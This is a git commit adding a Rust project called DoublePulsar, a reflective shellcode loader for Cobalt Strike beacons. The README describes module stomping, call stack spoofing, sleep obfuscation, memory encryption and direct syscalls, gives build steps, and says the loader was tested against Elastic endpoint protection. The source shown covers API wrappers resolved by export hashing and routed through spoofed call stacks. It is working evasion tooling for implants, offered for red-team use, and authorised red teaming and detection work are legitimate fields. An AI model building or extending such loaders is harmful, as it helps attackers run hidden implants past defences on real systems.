commit 8fe157197b281fdc12671e3e23e43fe02c190827 Author: memN0ps <89628341+memN0ps@users.noreply.github.com> Date: Sun Mar 15 14:16:16 2026 +1300 Initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..db0c5ce --- /dev/null +++ b/.gitignore @@ -0,0 +1,12 @@ +# Rust build artifacts +debug/ +target/ +**/*.rs.bk +*.pdb +**/mutants.out*/ + +# IDE +.idea/ + +# Binary payloads +*.bin diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..19b1214 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..120f67d --- /dev/null +++ b/README.md @@ -0,0 +1,171 @@ +## DoublePulsar + +Cobalt Strike User-Defined Reflective Loader (UDRL) in Rust, implementing Shellcode Reflective DLL Injection (sRDI). A ~65KB position-independent reflective loader with module stomping, synthetic call stack spoofing, sleep obfuscation, memory encryption, return address spoofing, IAT hooking, and heap isolation. + +Named after [DoublePulsar](https://en.wikipedia.org/wiki/DoublePulsar), an implant developed by the NSA's [Equation Group](https://en.wikipedia.org/wiki/Equation_Group), leaked by the Shadow Brokers in 2017. + +## Credits + +- [Raphael Mudge](https://www.cobaltstrike.com/profile/raphael-mudge) and [Cobalt Strike](https://www.cobaltstrike.com/) - User-Defined Reflective Loader API +- [Revisiting the UDRL Part 1](https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development) by Robert Bearsby / [Cobalt Strike](https://www.cobaltstrike.com/) - Prepended loader architecture diagram +- [Red Team Ops II](https://www.zeropointsecurity.co.uk/course/red-team-ops-ii) by [RastaMouse](https://github.com/rasta-mouse) / [Zero Point Security](https://www.zeropointsecurity.co.uk/) - CRTO II course and advanced Cobalt Strike training +- [AceLdr](https://github.com/kyleavery/AceLdr/) by [Kyle Avery](https://github.com/kyleavery) - IAT hooking, return address spoofing, heap isolation +- [TitanLdr](https://github.com/benheise/TitanLdr) by [Austin Hudson](https://github.com/realoriginal) - FOLIAGE sleep obfuscation, memory encryption +- [FOLIAGE](https://github.com/benheise/FOLIAGE) by [Austin Hudson](https://github.com/realoriginal) - FOLIAGE sleep obfuscation +- [titanldr-ng](https://github.com/klezVirus/titanldr-ng) by [Austin Hudson](https://github.com/realoriginal) - CNA integration, RC4 beacon encryption +- [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) by [klezVirus](https://github.com/klezVirus), [trickster0](https://github.com/trickster0), and [waldo-irc](https://github.com/waldo-irc) - Call stack spoofing +- [Ekko](https://github.com/Cracked5pider/Ekko) by [Cracked5pider](https://github.com/Cracked5pider) - Ekko sleep obfuscation technique +- [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) by [RastaMouse](https://github.com/rasta-mouse) - Cobalt Strike kit reference +- [uwd](https://github.com/joaoviictorti/uwd) and [hypnus](https://github.com/joaoviictorti/hypnus) by [Joao Victor](https://github.com/joaoviictorti) - Original unwinder and sleep obfuscation crates, rewritten and converted to position-independent code (PIC) +- [x64 return address spoofing](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html) by [namazso](https://github.com/namazso) - Original return address spoofing technique +- [Gargoyle](https://github.com/JLospinoso/gargoyle) by [J. Lospinoso](https://github.com/JLospinoso) - Timer-based code execution +- [MalMemDetect](https://github.com/waldo-irc/MalMemDetect) by [waldo-irc](https://github.com/waldo-irc) - Malicious memory detection +- [Bypassing PE-sieve and Moneta](https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/) by Arash Parsa +- [Hook heaps and live free](https://www.arashparsa.com/hook-heaps-and-live-free/) by Arash Parsa +- [Masking malicious memory artifacts](https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-ii-insights-from-moneta) by Forrest Orr +- [Hunting Gargoyle](https://blog.f-secure.com/hunting-for-gargoyle-memory-scanning-evasion/) by F-Secure +- [Detecting Cobalt Strike with memory signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures) by Elastic +- [MDSec Nighthawk study](https://web.archive.org/web/20220625003531/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html) - Ekko sleep obfuscation research +- [Equation Group / NSA](https://en.wikipedia.org/wiki/Equation_Group) - Original DoublePulsar implant concept + +## Prepended Loader Architecture + +Unlike Stephen Fewer's original approach where the reflective loader lives inside the PE's `.text` section, DoublePulsar uses a prepended architecture where the `ReflectiveLoader()` is placed before the PE file. This allows the loader to be fully position-independent shellcode that decrypts and maps the beacon payload at runtime. + +![Prepended vs Embedded Reflective Loader](image/diagram_different-locations-of-reflective-loader-1024x483.png) + +*Diagram from [Revisiting the UDRL Part 1](https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development) by Robert Bearsby / [Cobalt Strike](https://www.cobaltstrike.com/)* + +## Features + +- Position-independent Rust reflective loader for Cobalt Strike (prepended loader) +- Module stomping (loads beacon into a legitimate module's memory, enabled by default) +- Synthetic call stack spoofing (randomized per call, enabled by default via `spoof-uwd`). Either module stomping or call stack spoofing is needed, but module stomping is preferred. Call stack spoofing serves as a fallback +- Dynamic memory encryption (new heap for beacon allocations, encrypted during sleep) +- Code obfuscation and encryption (non-executable + encrypted during sleep) +- Return address spoofing (InternetConnectA, NtWaitForSingleObject, RtlAllocateHeap) +- IAT hooking +- Heap isolation +- RC4 encryption via SystemFunction032 +- Optional syscall dispatch (cringe, but it's there :roll_eyes:) (`spoof-syscall` feature, requires `spoof-uwd`). Uses [Hell's Gate](https://github.com/am0nsec/HellsGate) for direct syscalls when unhooked, falls back to Halo's Gate / [Tartarus Gate](https://github.com/trickster0/TartarusGate) for indirect syscalls when hooks are detected +- Multiple sleep obfuscation techniques: + +| Feature | Technique | Description | +|---------|-----------|-------------| +| `sleep-ekko` | Ekko | Timer-based (TpAllocTimer/TpSetTimer) + RC4 + NtContinue chain + fiber support **(default)** | +| `sleep-foliage` | FOLIAGE | APC-based (NtQueueApcThread) + RC4 + NtContinue chain + fiber support | +| `sleep-zilean` | Zilean | Wait-based (TpAllocWait/TpSetWait) + RC4 + NtContinue chain + fiber support | +| `sleep-xor` | XOR | XOR section masking + plain Sleep (no CONTEXT chain, no fiber mode) | + +## How It Works + +Import the `Titan.cna` script before generating shellcode. The script: +1. Takes your raw beacon payload +2. RC4 encrypts it with a random 16-byte key +3. Appends `[CONFIG (key + size)][Encrypted Beacon]` to the loader +4. At runtime, the loader decrypts the beacon in-memory and executes it + +## Building + +x64 only. x86 is not supported. + +Recommended: build on Ubuntu/WSL to avoid MinGW relocation issues on Windows. + +### Requirements + +- Rust nightly with `x86_64-pc-windows-gnu` target +- MinGW-w64 +- [cargo-make](https://github.com/sagiegurari/cargo-make) +- nasm + +### Ubuntu/WSL Setup (Recommended) + +```bash +# Install Rust nightly and add target +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +rustup toolchain install nightly +rustup default nightly +rustup target add x86_64-pc-windows-gnu + +# Install MinGW-w64 and nasm +sudo apt update +sudo apt install -y mingw-w64 nasm + +# Install cargo-make +cargo install cargo-make + +# Build +cd udrl +cargo make x64 +``` + +### Build Commands + +```bash +cargo make x64 # x64 release +cargo make x64-debug # x64 with debug logging (DbgPrint) +cargo make clean # clean build artifacts +``` + +### Sleep Feature Selection + +Only enable one sleep feature at a time. They are mutually exclusive. Use `--no-default-features` when selecting a non-default technique. + +```bash +# Ekko (default) +cargo make x64 + +# FOLIAGE +cargo build --release --target x86_64-pc-windows-gnu --features sleep-foliage --no-default-features + +# Zilean +cargo build --release --target x86_64-pc-windows-gnu --features sleep-zilean --no-default-features + +# XOR (no ROP chain, no fiber) +cargo build --release --target x86_64-pc-windows-gnu --features sleep-xor --no-default-features +``` + +### Output + +``` +bin/Titan.x64.bin - x64 shellcode +``` + +## Detection + +Tested on Windows 10 (Build 19045) and Windows 11 (Build 22631) against Elastic 9.0.1 (trial) in prevention mode with aggressive settings and the following integrations enabled: Elastic Defend, Elastic Agent, Fleet Server, Prebuilt Security Detection Rules, Elastic Synthetics, System, and Windows. Cobalt Strike settings: Stageless Windows Executable, Raw output, x64 payload, Process exit function, winhttp library. Lab environment: [GOAD](https://github.com/Orange-Cyberdefense/GOAD) on [Ludus](https://docs.ludus.cloud/docs/environment-guides/goad). + +YARA rules for detection are provided in [doublepulsar.yar](doublepulsar.yar). + +## Known Issues + +- Not compatible with loaders that rely on the shellcode thread staying alive +- Windows builds may encounter relocation errors with newer MinGW versions (use WSL) +- AllocConsole logging can cause crashes when spammed with too many log entries, use DbgPrint instead + +## License and Disclaimer + +**License**: MIT. See [LICENSE](./LICENSE) + +**Disclaimer**: This project is provided for authorized security testing, educational purposes, and legitimate security research only. + +**Permitted use includes:** + +- Authorized penetration testing and red team engagements +- Purple teaming, adversary simulation, and threat emulation +- Detection engineering, threat hunting, and security operations +- Blue team and SOC activities including malware reverse engineering +- CTF competitions and security research +- Educational and training purposes + +**Prohibited use includes:** + +- Unauthorized access to systems or networks +- Any activity that violates applicable laws or regulations +- Use against systems without explicit written authorization + +**Liability**: The author assumes no responsibility for misuse, damages, or legal consequences arising from the use of this software. Users are solely responsible for ensuring compliance with all applicable laws, regulations, and organizational policies. By using this software, you agree that you have proper authorization for any systems you interact with. + +## Author + +[memN0ps](https://github.com/memN0ps) diff --git a/crates/.gitignore b/crates/.gitignore new file mode 100644 index 0000000..dbeb874 --- /dev/null +++ b/crates/.gitignore @@ -0,0 +1,6 @@ +debug +target +Cargo.lock +**/*.rs.bk +*.pdb +**/mutants.out*/ diff --git a/crates/Cargo.toml b/crates/Cargo.toml new file mode 100644 index 0000000..e3bd4d3 --- /dev/null +++ b/crates/Cargo.toml @@ -0,0 +1,16 @@ +[workspace] +resolver = "3" + +members = [ + "api", + "uwd", + "ntdef", + "hypnus", + "example", +] + +[profile.dev] +panic = "abort" + +[profile.release] +panic = "abort" diff --git a/crates/LICENSE b/crates/LICENSE new file mode 100644 index 0000000..19b1214 --- /dev/null +++ b/crates/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/crates/api/Cargo.toml b/crates/api/Cargo.toml new file mode 100644 index 0000000..94b9413 --- /dev/null +++ b/crates/api/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "api" +version = "0.1.0" +edition = "2021" + +[features] +spoof-uwd = ["dep:uwd", "uwd/spoof-uwd"] +spoof-syscall = ["spoof-uwd", "dep:uwd", "uwd/spoof-syscall"] +debug-console = [] +debug-dbgprint = [] + +[dependencies] +ntdef = { path = "../ntdef" } +uwd = { path = "../uwd", optional = true, default-features = false } diff --git a/crates/api/src/api.rs b/crates/api/src/api.rs new file mode 100644 index 0000000..d3abd5c --- /dev/null +++ b/crates/api/src/api.rs @@ -0,0 +1,3499 @@ +//! Core API wrapper module providing typed access to dynamically resolved Windows functions. +//! +//! All function pointers are resolved at construction time ([`Api::new`]) by walking the +//! PEB and hashing export names with DJB2. Each module struct (`NtdllModule`, +//! `Kernel32Module`, etc.) stores raw `*mut Fn*` pointers alongside a `handle` (base +//! address) and `size`. Wrapper methods on each struct transmute the pointer and call +//! the underlying function, optionally routing through call-stack spoofing (`spoof-uwd`) +//! or indirect syscall dispatch (`spoof-syscall`) depending on feature flags. +//! +//! The dispatch pattern for each wrapper is: +//! +//! ```text +//! ┌─────────────────────────────────────────────────────────┐ +//! │ 1. transmute stored *mut FnXxx to FnXxx │ +//! │ 2. #[cfg(spoof-uwd + spoof-syscall)] → spoof_syscall! │ +//! │ 3. #[cfg(spoof-uwd)] → spoof_uwd! │ +//! │ 4. #[cfg(not spoof-uwd)] → direct call │ +//! └─────────────────────────────────────────────────────────┘ +//! ``` + +use { + crate::{ + hash_str, + util::{get_export_by_hash, get_loaded_module_by_hash, memzero, module_size}, + windows::*, + }, + core::{mem::transmute, ptr::null_mut}, +}; + +/// RC4 encryption key size in bytes (used by `AdvapiModule.enckey`). +pub const KEY_SIZE: usize = 16; + +/// Top-level API container holding all resolved module wrappers and sleep context. +/// +/// Created via [`Api::new`] which resolves all function pointers from the PEB. +/// The `sleep` field holds the obfuscation context (image base, length, sections, +/// sleep duration) configured by the caller before invoking a sleep technique. +pub struct Api { + /// Ntdll function wrappers (NT syscall layer). + pub ntdll: NtdllModule, + /// Kernel32 function wrappers (Win32 API layer). + pub kernel32: Kernel32Module, + /// KernelBase function wrappers (CFG management). + pub kernelbase: KernelBaseModule, + /// Advapi32 function wrappers (RC4 encryption: SystemFunction032/040/041). + pub advapi: AdvapiModule, + /// Sleep obfuscation context (image region, timing, memory sections). + pub sleep: SleepContext, +} + +/// Resolved function pointers from `ntdll.dll`. +/// +/// Contains the NT native API surface used throughout: memory management, thread +/// control, synchronization, context manipulation, thread pool, and loader functions. +/// Each `*_ptr` field stores a raw function pointer resolved by DJB2 hash at +/// [`Api::new`] time. The corresponding wrapper method transmutes and calls it. +pub struct NtdllModule { + /// Base address of ntdll in the current process. + pub handle: usize, + /// `SizeOfImage` from ntdll's PE optional header. + pub size: u32, + #[cfg(feature = "spoof-uwd")] + pub spoof_config: crate::spoof::uwd::types::Config, + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + pub syscall_spoof_config: crate::spoof::uwd::types::Config, + pub NtGetContextThread_ptr: *mut FnNtGetContextThread, + pub NtSetContextThread_ptr: *mut FnNtSetContextThread, + pub NtResumeThread_ptr: *mut FnNtResumeThread, + pub NtWaitForSingleObject_ptr: *mut FnNtWaitForSingleObject, + pub RtlUserThreadStart_ptr: *mut FnRtlUserThreadStart, + pub RtlCreateUserThread_ptr: *mut FnRtlCreateUserThread, + pub NtAllocateVirtualMemory_ptr: *mut FnNtAllocateVirtualMemory, + pub NtFreeVirtualMemory_ptr: *mut FnNtFreeVirtualMemory, + pub NtProtectVirtualMemory_ptr: *mut FnNtProtectVirtualMemory, + pub RtlCreateHeap_ptr: *mut FnRtlCreateHeap, + pub LdrGetProcedureAddress_ptr: *mut FnLdrGetProcedureAddress, + pub LdrLoadDll_ptr: *mut FnLdrLoadDll, + pub LdrUnloadDll_ptr: *mut FnLdrUnloadDll, + pub NtAlertResumeThread_ptr: *mut FnNtAlertResumeThread, + pub NtClose_ptr: *mut FnNtClose, + pub NtContinue_ptr: *mut FnNtContinue, + pub NtCreateEvent_ptr: *mut FnNtCreateEvent, + pub NtCreateThreadEx_ptr: *mut FnNtCreateThreadEx, + pub NtOpenThread_ptr: *mut FnNtOpenThread, + pub NtQueryInformationProcess_ptr: *mut FnNtQueryInformationProcess, + pub NtQueueApcThread_ptr: *mut FnNtQueueApcThread, + pub NtSetEvent_ptr: *mut FnNtSetEvent, + pub NtSignalAndWaitForSingleObject_ptr: *mut FnNtSignalAndWaitForSingleObject, + pub NtTerminateThread_ptr: *mut FnNtTerminateThread, + pub NtTestAlert_ptr: *mut FnNtTestAlert, + pub NtDuplicateObject_ptr: *mut FnNtDuplicateObject, + pub RtlAllocateHeap_ptr: *mut FnRtlAllocateHeap, + pub RtlExitUserThread_ptr: *mut FnRtlExitUserThread, + pub RtlFreeHeap_ptr: *mut FnRtlFreeHeap, + pub RtlInitAnsiString_ptr: *mut FnRtlInitAnsiString, + pub RtlInitUnicodeString_ptr: *mut FnRtlInitUnicodeString, + pub RtlAnsiStringToUnicodeString_ptr: *mut FnRtlAnsiStringToUnicodeString, + pub RtlFreeUnicodeString_ptr: *mut FnRtlFreeUnicodeString, + pub RtlRandomEx_ptr: *mut FnRtlRandomEx, + pub RtlWalkHeap_ptr: *mut FnRtlWalkHeap, + pub RtlCreateTimerQueue_ptr: *mut FnRtlCreateTimerQueue, + pub RtlDeleteTimerQueue_ptr: *mut FnRtlDeleteTimerQueue, + pub RtlCreateTimer_ptr: *mut FnRtlCreateTimer, + pub RtlCaptureContext_ptr: *mut FnRtlCaptureContext, + pub RtlAcquireSRWLockExclusive_ptr: *mut FnRtlAcquireSRWLockExclusive, + pub ZwWaitForWorkViaWorkerFactory_ptr: *mut FnZwWaitForWorkViaWorkerFactory, + pub NtLockVirtualMemory_ptr: *mut FnNtLockVirtualMemory, + pub TpAllocPool_ptr: *mut FnTpAllocPool, + pub TpSetPoolStackInformation_ptr: *mut FnTpSetPoolStackInformation, + pub TpSetPoolMinThreads_ptr: *mut FnTpSetPoolMinThreads, + pub TpSetPoolMaxThreads_ptr: *mut FnTpSetPoolMaxThreads, + pub TpAllocTimer_ptr: *mut FnTpAllocTimer, + pub TpSetTimer_ptr: *mut FnTpSetTimer, + pub TpAllocWait_ptr: *mut FnTpAllocWait, + pub TpSetWait_ptr: *mut FnTpSetWait, + pub TpReleaseCleanupGroup_ptr: *mut FnTpReleaseCleanupGroup, + #[cfg(feature = "debug-dbgprint")] + pub DbgPrint_ptr: *mut FnDbgPrint, +} + +impl NtdllModule { + // ── Thread Context ────────────────────────────────────────────────── + + /// Retrieve the context (registers) of a thread. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Handle to the thread whose context is to be retrieved. + /// * `ThreadContext` - Pointer to a `CONTEXT` structure that receives the thread context. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtGetContextThread( + &mut self, + ThreadHandle: HANDLE, + ThreadContext: PCONTEXT, + ) -> NTSTATUS { + let f: FnNtGetContextThread = transmute(self.NtGetContextThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ThreadContext + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ThreadContext + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ThreadHandle, ThreadContext) + } + + /// Set the context (registers) of a thread. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Handle to the thread whose context is to be set. + /// * `ThreadContext` - Pointer to a `CONTEXT` structure containing the new thread context. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtSetContextThread( + &mut self, + ThreadHandle: HANDLE, + ThreadContext: PCONTEXT, + ) -> NTSTATUS { + let f: FnNtSetContextThread = transmute(self.NtSetContextThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ThreadContext + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + ThreadContext + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ThreadHandle, ThreadContext) + } + + /// Resume a suspended thread, decrementing its suspend count. + /// + /// # Arguments + /// + /// * `ThreadHandle` - Handle to the thread to resume. + /// * `PreviousSuspendCount` - Optional pointer to a variable that receives the previous suspend count. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtResumeThread( + &mut self, + ThreadHandle: HANDLE, + PreviousSuspendCount: PULONG, + ) -> NTSTATUS { + let f: FnNtResumeThread = transmute(self.NtResumeThread_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + PreviousSuspendCount + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ThreadHandle, + PreviousSuspendCount + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ThreadHandle, PreviousSuspendCount) + } + + // ── Synchronization ─────────────────────────────────────────────── + + /// Wait for an object (event, thread, etc.) to become signaled. + /// + /// # Arguments + /// + /// * `Handle` - Handle to the object to wait on. + /// * `Alertable` - If `TRUE`, the wait is alertable (APCs can interrupt it). + /// * `Timeout` - Optional pointer to a timeout value (negative for relative, positive for absolute). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtWaitForSingleObject( + &mut self, + Handle: HANDLE, + Alertable: BOOLEAN, + Timeout: PLARGE_INTEGER, + ) -> NTSTATUS { + let f: FnNtWaitForSingleObject = transmute(self.NtWaitForSingleObject_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + Handle, + Alertable as usize, + Timeout + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Handle, + Alertable as usize, + Timeout + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(Handle, Alertable, Timeout) + } + + // ── Virtual Memory ──────────────────────────────────────────────── + + /// Allocate or reserve virtual memory in a process. + /// + /// # Arguments + /// + /// * `ProcessHandle` - Handle to the process in which to allocate memory. + /// * `BaseAddress` - Pointer to a variable that specifies and receives the base address of the allocation. + /// * `ZeroBits` - Number of high-order address bits that must be zero in the base address. + /// * `RegionSize` - Pointer to a variable that specifies and receives the size of the region. + /// * `AllocationType` - Bitmask of allocation type flags (e.g., `MEM_COMMIT`, `MEM_RESERVE`). + /// * `Protect` - Memory protection for the region (e.g., `PAGE_READWRITE`). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtAllocateVirtualMemory( + &mut self, + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG, + ) -> NTSTATUS { + let f: FnNtAllocateVirtualMemory = transmute(self.NtAllocateVirtualMemory_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + ZeroBits, + RegionSize, + AllocationType as usize, + Protect as usize + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + ZeroBits, + RegionSize, + AllocationType as usize, + Protect as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + ProcessHandle, + BaseAddress, + ZeroBits, + RegionSize, + AllocationType, + Protect, + ) + } + + /// Free or decommit virtual memory in a process. + /// + /// # Arguments + /// + /// * `ProcessHandle` - Handle to the process in which to free memory. + /// * `BaseAddress` - Pointer to a variable containing the base address of the region to free. + /// * `RegionSize` - Pointer to a variable that specifies the size of the region to free. + /// * `FreeType` - Type of free operation (e.g., `MEM_RELEASE`, `MEM_DECOMMIT`). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtFreeVirtualMemory( + &mut self, + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + FreeType: ULONG, + ) -> NTSTATUS { + let f: FnNtFreeVirtualMemory = transmute(self.NtFreeVirtualMemory_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + RegionSize, + FreeType as usize + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + RegionSize, + FreeType as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ProcessHandle, BaseAddress, RegionSize, FreeType) + } + + /// Change the protection on a region of virtual memory. + /// + /// # Arguments + /// + /// * `ProcessHandle` - Handle to the process whose memory protection is to be changed. + /// * `BaseAddress` - Pointer to a variable containing the base address of the region. + /// * `RegionSize` - Pointer to a variable that specifies the size of the region. + /// * `NewProtect` - New memory protection constant (e.g., `PAGE_EXECUTE_READ`). + /// * `OldProtect` - Pointer to a variable that receives the old protection value. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtProtectVirtualMemory( + &mut self, + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: PULONG, + ) -> NTSTATUS { + let f: FnNtProtectVirtualMemory = transmute(self.NtProtectVirtualMemory_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + { + #[cfg(feature = "debug-dbgprint")] + { + let func_addr = f as *const u8; + let ssn_val = crate::spoof::uwd::syscall::ssn(func_addr).unwrap_or(0xFFFF); + let syscall_addr = crate::spoof::uwd::syscall::get_syscall_address(func_addr) + .unwrap_or(core::ptr::null()); + if !self.DbgPrint_ptr.is_null() { + let dbg: FnDbgPrint = transmute(self.DbgPrint_ptr); + dbg( + b"[LDR] NtProtectVirtualMemory: func=%p syscall_addr=%p SSN=0x%x\n\0" + .as_ptr(), + func_addr, + syscall_addr, + ssn_val as u64, + ); + } + } + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + RegionSize, + NewProtect as usize, + OldProtect + ) as NTSTATUS; + } + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + RegionSize, + NewProtect as usize, + OldProtect + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + ProcessHandle, + BaseAddress, + RegionSize, + NewProtect, + OldProtect, + ) + } + + // ── Heap ──────────────────────────────────────────────────────── + + /// Create a private heap object. + /// + /// # Arguments + /// + /// * `Flags` - Heap creation flags (e.g., `HEAP_GROWABLE`). + /// * `HeapBase` - Base address for the heap, or null to let the system allocate. + /// * `ReserveSize` - Amount of virtual address space to reserve for the heap. + /// * `CommitSize` - Initial committed size of the heap. + /// * `Lock` - Optional pointer to a caller-supplied lock for heap serialization. + /// * `Parameters` - Optional pointer to `RTL_HEAP_PARAMETERS` for advanced configuration. + /// + /// # Returns + /// + /// Pointer to the newly created heap, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlCreateHeap( + &mut self, + Flags: ULONG, + HeapBase: PVOID, + ReserveSize: SIZE_T, + CommitSize: SIZE_T, + Lock: PVOID, + Parameters: PRTL_HEAP_PARAMETERS, + ) -> PVOID { + let f: FnRtlCreateHeap = transmute(self.RtlCreateHeap_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Flags as usize, + HeapBase, + ReserveSize, + CommitSize, + Lock, + Parameters + ) as PVOID; + #[cfg(not(feature = "spoof-uwd"))] + f(Flags, HeapBase, ReserveSize, CommitSize, Lock, Parameters) + } + + // ── Module Loader ────────────────────────────────────────────── + + /// Resolve an export address from 